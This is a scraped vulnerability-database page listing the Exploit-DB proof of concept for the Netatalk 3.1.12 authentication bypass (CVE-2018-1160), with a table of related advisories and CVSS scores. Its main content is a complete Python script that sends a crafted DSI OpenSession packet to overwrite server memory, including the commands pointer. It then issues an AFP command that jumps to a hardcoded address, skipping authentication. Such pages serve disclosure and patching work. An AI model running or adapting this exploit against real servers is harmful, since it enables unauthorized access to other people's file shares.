Lucene search
+L

Netatalk 3.1.12 - Authentication Bypass (PoC)

🗓️ 21 Dec 2018 00:00:00Reported by Tenable NSType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 87 Views

Netatalk 3.1.12 Authentication Bypass PoC using Socket and Struc

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Netatalk < 3.1.12 - Authentication Bypass Exploit
22 Dec 201800:00
–zdt
zdt
zdt
QNAP Netatalk < 3.1.12 - Authentication Bypass Exploit
8 Apr 201900:00
–zdt
githubexploit
GithubExploit
Exploit for Out-of-bounds Write in Netatalk
11 Dec 202508:43
–githubexploit
freebsd
FreeBSD
netatalk3 -- remote code execution vulnerability
10 Nov 201800:00
–freebsd
alpinelinux
AlpineLinux
CVE-2018-1160
20 Dec 201821:00
–alpinelinux
bdu_fstec
BDU FSTEC
Netatalk Heap Buffer Overflow RCE
4 Apr 201900:00
–bdu_fstec
circl
Circl
CVE-2018-1160
21 Dec 201800:00
–circl
cnvd
CNVD
Netatalk Out-of-Bounds Write Vulnerability
21 Dec 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
Netatalk Attention Quantum Out-of-bounds Write (CVE-2018-1160)
18 Feb 201900:00
–checkpoint_advisories
cve
CVE
CVE-2018-1160
20 Dec 201821:00
–cve
Rows per page
import socket
import struct
import sys
if len(sys.argv) != 3:
    sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Feb 2019 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 39.8
CVSS 210
CVSS 3.19.8
EPSS0.86424
SSVC
87